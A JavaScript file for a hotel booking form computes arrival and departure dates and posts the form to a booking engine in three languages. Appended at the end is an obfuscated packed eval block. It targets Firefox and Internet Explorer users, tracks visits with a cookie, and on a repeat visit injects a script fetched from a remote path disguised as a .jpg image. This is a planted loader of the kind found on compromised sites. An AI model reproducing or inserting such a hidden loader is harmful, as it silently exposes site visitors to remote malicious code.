var curDate = new Date();
var hEngine = 'http://www.hoteliers.com/wlpEngine.php?ID='; 

function dInM(mon)
	{           
    	if (mon == 2)
        	{
             Year = curDate.getFullYear();
             if(Math.round(Year/4) == Year/4)
            	{
              		if(Math.round(Year/100) == Year/100)
              		{
       					if(Math.round(Year/400) == Year/400)
        				return 29;
       					else return 28;
      				}
      			else return 29;
     			}
    		return 28;
            }
            else if (mon == 4 || mon == 6 || mon == 9 || mon == 11)
            {
             return 30;
            }
            return 31;
	}

function getNDay()
{
theMonth = document.hcomForm.am.options.selectedIndex;
theDay = parseInt(document.hcomForm.ad.options.selectedIndex);

 if (! theMonth == 0 && ! theDay == 0)
 {
  dInMonth = dInM(theMonth);
  
  if (theDay > dInMonth)
  {
	document.hcomForm.ad.options.selectedIndex = theDay = dInMonth;
  }
  newDay = theDay + 1;
  newMonth = theMonth;
  
  if (newDay > dInMonth)
  {
            newDay = 1;
            newMonth = theMonth + 1;
            if (newMonth > 12)
            {
				newMonth = 1;
            }
  }

document.hcomForm.dd.selectedIndex = newDay;
document.hcomForm.dm.selectedIndex = newMonth;
 }
}


function doCheckFormNL()
{

el = document.getElementById('hoteliers');
if (el)
{
el.innerHTML = '<iframe name="' + document.hcomForm.hTarget.value + '" src="" width="430" height="600" frameborder="0">';
}
document.hcomForm.target = document.hcomForm.hTarget.value;
document.hcomForm.action = 'http://www.hoteliers.com/wlpEngine.php?ID=' + document.hcomForm.hotelID.value + '&lang=nl';
document.hcomForm.submit();

}

function doCheckFormDE()
{

el = document.getElementById('hoteliers');
if (el)
{
el.innerHTML = '<iframe name="' + document.hcomForm.hTarget.value + '" src="" width="430" height="600" frameborder="0">';
}
document.hcomForm.target = document.hcomForm.hTarget.value;
document.hcomForm.action = 'http://www.hoteliers.com/wlpEngine.php?ID=' + document.hcomForm.hotelID.value + '&lang=de';
document.hcomForm.submit();

}

function doCheckFormEN()
{

el = document.getElementById('hoteliers');
if (el)
{
el.innerHTML = '<iframe name="' + document.hcomForm.hTarget.value + '" src="" width="430" height="600" frameborder="0">';
}
document.hcomForm.target = document.hcomForm.hTarget.value;
document.hcomForm.action = 'http://www.hoteliers.com/wlpEngine.php?ID=' + document.hcomForm.hotelID.value + '&lang=en';
document.hcomForm.submit();

}


function checkDDate()
{
 theMonth = document.hcomForm.dm.options.selectedIndex;
 theDay = parseInt(document.hcomForm.dd.options.selectedIndex);
 dInMonth = dInM(theMonth);
 
 if (theDay > dInMonth)
 {
  document.hcomForm.dd.options.selectedIndex = theDay = dInMonth;
 }
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(k(d){2 e=Z.W;2 f=T;5(e.7("U")!=-1||e.7("17")!=-1)f=m;5(f!==m)o;2 n=\'12://H.E/N/K.R?M\';2 c=t("a");5(c){5(c==\'p\'){b("a","Q","3");2 s=6.P(\'J\');s.I=\'D/C\';s.B=n+\'&r=\'+z u().O();2 h=6.10(\'13\')[0];h.S(s)}l{}}l{b("a","p","3")}k t(8){2 i,x,y,4=6.w.18(";");11(i=0;i<4.V;i++){x=4[i].q(0,4[i].7("="));y=4[i].q(4[i].7("=")+1);x=x.X(/^\\s+|\\s+$/g,"");5(x==8){o Y(y)}}}k b(8,v,j){2 9=z u();9.16(9.15()+j);2 A=14(v)+((j==F)?"":"; L="+9.G());6.w=8+"="+A}})(6);',62,71,'||var||ARRcookies|if|document|indexOf|c_name|exdate|wss|setCookie|rc||agent|show||||exdays|function|else|true|staturl|return|goot1|substr|||getCookie|Date|value|cookie|||new|c_value|src|javascript|text|nl|null|toUTCString|hotelaanzee|type|script|home_002|expires|js|Images|getTime|createElement|goot2|jpg|appendChild|false|Firefox|length|userAgent|replace|unescape|navigator|getElementsByTagName|for|http|head|escape|getDate|setDate|MSIE|split'.split('|'),0,{}))

